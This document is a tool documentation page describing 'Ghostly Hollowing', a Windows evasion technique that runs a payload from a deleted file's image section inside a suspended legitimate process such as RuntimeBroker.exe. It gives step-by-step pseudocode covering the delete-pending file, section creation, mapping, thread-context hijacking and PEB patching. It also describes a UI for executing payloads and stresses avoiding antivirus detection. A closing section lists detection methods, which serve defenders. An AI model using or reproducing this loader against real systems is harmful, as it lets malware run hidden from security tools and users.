Ghostly Hollowing
Ring 3Combine process ghosting with process hollowing: execute a payload from a deleted section inside a legitimate suspended process.
Advanced Evasion Technique
This combines two evasion techniques for enhanced stealth. The on-disk file is deleted, and execution occurs inside a legitimate process. Use only for authorized security research.
Overview
Ghostly Hollowing merges two techniques:
- • Process Ghosting — Create an image section from a file marked for deletion, so the file disappears but the section survives
- • Process Hollowing — Map the ghost section into a suspended legitimate process and hijack its execution
The result: payload executes inside a legitimate process (e.g., RuntimeBroker.exe), backed by a section that has no corresponding file on disk.
Algorithm
crates/misc/src/process/ghostly_hollow.rs
pub fn ghostly_hollow_process(
host_exe: &str, // Legitimate process (e.g., RuntimeBroker.exe)
payload_pe: &str, // 64-bit PE payload
) -> Result<(u32, u32), MiscError> { // Returns (PID, TID)
// === Phase 1: Create Ghost Section ===
// 1. Create temp file
let temp_path = format!("{}\GH_{}.tmp", temp_dir(), timestamp());
// 2. Open file with DELETE permission
let file_handle = NtOpenFile(
&temp_path,
DELETE | GENERIC_READ | GENERIC_WRITE,
FILE_SUPERSEDE,
FILE_DELETE_ON_CLOSE,
)?;
// 3. Mark file for deletion BEFORE writing
// File will be deleted when all handles close
NtSetInformationFile(
file_handle,
FileDispositionInformation,
DeleteFile: TRUE,
)?;
// 4. Write payload PE to temp file
NtWriteFile(file_handle, payload_bytes)?;
// 5. Create SEC_IMAGE section from the file
// This "ghosts" the file - section survives even after file is deleted
let section_handle = NtCreateSection(
SECTION_ALL_ACCESS,
file_handle,
SEC_IMAGE,
)?;
// 6. Close file handle - file is now DELETED
// But the section still exists with the PE image!
CloseHandle(file_handle);
// === Phase 2: Hollow the Host Process ===
// 7. Create legitimate host process SUSPENDED
let (process_handle, thread_handle, pid, tid) = CreateProcessW(
host_exe,
CREATE_SUSPENDED,
)?;
// 8. Map ghost section into suspended process
let mapped_base = NtMapViewOfSection(
section_handle,
process_handle,
ViewUnmap, // Allow unmapping
)?;
// 9. Get thread context to find entry point register
let context = GetThreadContext(thread_handle)?;
// 10. Calculate payload entry point
let entry_point = mapped_base + payload_entry_rva;
// 11. Hijack thread: set RCX (entry point parameter on x64)
context.Rcx = entry_point;
SetThreadContext(thread_handle, &context)?;
// 12. Patch PEB.ImageBase to point to mapped section
let peb_addr = context.Rdx; // RDX points to PEB on process start
NtWriteVirtualMemory(
process_handle,
peb_addr + PEB_IMAGE_BASE_OFFSET,
&mapped_base,
)?;
// 13. Resume thread - payload executes!
ResumeThread(thread_handle)?;
Ok((pid, tid))
}Key NT Functions
| Function | Purpose |
|---|---|
| NtOpenFile | Open file with DELETE permission |
| NtSetInformationFile | Mark file for deletion |
| NtWriteFile | Write payload to temp file |
| NtCreateSection | Create SEC_IMAGE section (the "ghost") |
| NtMapViewOfSection | Map ghost section into target process |
| NtWriteVirtualMemory | Patch PEB.ImageBase |
Why It's Stealthier
✓ No File on Disk
The payload file is deleted before process execution begins. File-based scanning cannot find the malicious PE.
✓ Legitimate Process Name
Process appears as RuntimeBroker.exe (or chosen host) in Task Manager and process listings.
✓ No Suspicious Allocations
Unlike classic hollowing, no VirtualAllocEx needed - the section mapping is more subtle.
Requirements
- • 64-bit payload — Only x64 PE files are supported
- • 64-bit host — Host executable must also be 64-bit
- • Admin privileges — Required for process manipulation
UI Access
Access via Utilities tab → Ghostly Hollowing section:
- • Host executable picker — Select legitimate process (e.g., RuntimeBroker.exe)
- • PE payload picker — Select 64-bit payload to execute
- • Execute button — Performs the ghostly hollowing
- • Status feedback — Shows new PID or error details
Comparison with Other Techniques
| Technique | File on Disk | Process Name | Detection Difficulty |
|---|---|---|---|
| Process Hollowing | Yes (payload) | Legitimate | Medium |
| Process Ghosting | No (deleted) | Payload | Hard |
| Ghostly Hollowing | No (deleted) | Legitimate | Very Hard |
Detection
Ghostly Hollowing can be detected by:
- • Monitoring for
NtCreateSectionfrom delete-pending files - • Comparing main module VAD to actual mapped sections
- • Detecting processes with sections that have no backing file
- • ETW tracing of file/section operations in sequence
- • Kernel callbacks monitoring
FileDispositionInformationbefore section creation